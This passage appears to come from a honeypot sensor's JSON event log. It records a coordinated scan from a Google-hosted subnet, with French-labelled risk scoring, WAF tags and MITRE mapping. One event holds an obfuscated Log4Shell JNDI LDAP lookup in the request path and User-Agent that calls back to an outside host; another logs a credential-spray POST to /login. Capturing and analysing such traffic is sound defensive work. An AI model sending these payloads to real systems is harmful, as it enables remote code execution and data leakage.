\u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 61, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e6251b83311572d855264671ccaf6f1a24c5e3df\u0022, \u0022event_fingerprint\u0022: \u00225af0e8340ec53ae4ab7da4b10b5b2dfb3df30669\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022f7f63822015acdbc34a0e95600896814\u0022, \u0022payload_hash\u0022: \u0022cca6dfa4a4fae49fbf92ad38c4c94ab7\u0022, \u0022path_pattern_hash\u0022: \u00228db2ce6d2e5e2dbbca552236b72a0504\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 61}, \u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0\u0022, \u0022user_agent\u0022: \u0022${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-\/}${72j:s:a:-\/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f:-s}${ibwu:w:-y}${u8a:-s}${vu3:dgmr:-:}${19m:3:-j}${o:cw\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${b\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0\u0022, \u0022user_agent\u0022: \u0022${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-\/}${72j:s:a:-\/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f:-s}${ibwu:w:-y}${u8a:-s}${vu3:dgmr:-:}${19m:3:-j}${o:cw\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${b\u0022, \u0022request_sample\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6i\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022398550f71b7442ae777b813083c9e958c7f91ba0\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:n\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:q\u2026\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 61, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:n\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:q\u2026\u0022, \u0022evidence_snippet\u0022: \u0022PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_dangerous_method\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-\/}${72j:s:a:-\/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f:-s}${ibwu:w:-y}${u8a:-s}${vu3:dgmr:-:}${19m:3:-j}${o:cw:-a}${ejpm:mav:n:-v}${6ept:-a}${kqw:8mfd:-.}${a:5i:-v}${xtj:-e}${abf:8j:-r}${n:-s}${no2:83f1:ter0:-i}${qtaj:sz:o:-o}${0kz:sf:-n}}${sia:-.}${rea9:5:-e}${2:7x:-7}${5:3r9:-d}${h8:wb6g:sn:-b}${snwl:m3s:-8}${9bg8:1:-c}${xtcs:-7}${quo:t7:-c}${us73:boc7:-3}${l:-7}${41g:9k:zou:-d}${q:-3}${0nl:yu:s94h:-3}${uk3:-2}${yc3a:ndo0:c:-1}${5r:57:6oi1:-2}${t:-e}${95f:f:b3jz:-d}${l7r:-e}${8:-6}${qy9x:-d}${cg:l:tl:-6}${omnv:h0d:8s:-0}${x:kswl:-0}${6gdu:8c3k:7qx:-4}${md:-e}${1w:-a}${jmtd:ex:-7}${snu:ay:1:-3}${8bg:zbyg:-8}${13gt:-1}${532:wh0i:-5}${31:t53c:bep7:-3}${0mjz:der:zdi:-3}${3y:-8}${f5w2:y10w:-f}${2j0:fujh:-d}${9:fke:7:-9}${wl3s:a2hc:2:-0}${c:-e}${cay2:9mw:bu:-2}${w64y:8b:-a}${th6:4o:7rj:-.}${c8:pv:-d}${lo:9b7:x0:-n}${ogn4:-s}${8:--}${u:i8b:f:-e}${x:guz:h:-x}${u:lvi:t:-f}${bu:6:x2j:-i}${34g:-l}${n16:-.}${fe7:qna:-m}${gr6:re:-a}${shrz:1ob7:-s}${c9y:-m}${ugc:-c}${l:9yo:x:-o}${i3ea:fxun:jiv:-r}${ijum:-e}${i0v:--}${eqi9:2u:nj:-c}${uc:-f}${arln:--}${u:-p}${l8xr:-r}${3:21to:-o}${frc:rb6:8s4v:-d}${ok5w:f1:1i8g:--}${uv76:8:-0}${s3:v08p:5e:-2}${zvma:7:-.}${k:-m}${gih:1n:-a}${4:-s}${n:w8:-m}${grk:rbot:-.}${h98:-c}${m:8:-l}${5xu:-o}${kua:-u}${swh:-d}${gjm5:g1z:t6:-f}${6k:-e}${8zgd:qe:-r}${kcvs:-r}${s7r:eb6z:-y}${j:zx:-.}${mjv0:ry72:7v:-g}${n:36:8uik:-o}${3gt:0r8:4k:-o}${qy39:m:m3:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_dangerous_method\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14680420,"ip":"34.19.116.51","ts":"2026-07-31 15:35:47.000000","proto":"tcp","src_port":20560,"dst_port":8085,"service":"http","classification":"bruteforce_credential_spray","waf_score":26,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 1838, \u0022payload_entropy\u0022: 5.074952414052248, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 71, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002235a2d6618e54e77a0dd680b970d7c3c634837489\u0022, \u0022event_fingerprint\u0022: \u0022282692495c02ca7c9d8c13132b2797a6074d4eee\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 121, \u0022precision_signals\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022matched_patterns\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 921130 duplicate CL\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 71, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022credential_stuffing\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00221ecaa72b1507643c892295b0c23da1dc\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 71}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nContent-Length: 1593\\r\\n\\r\\n{\\\u0022username\\\u0022\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nContent-Length: 1593\\r\\n\\r\\n{\\\u0022username\\\u0022\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: 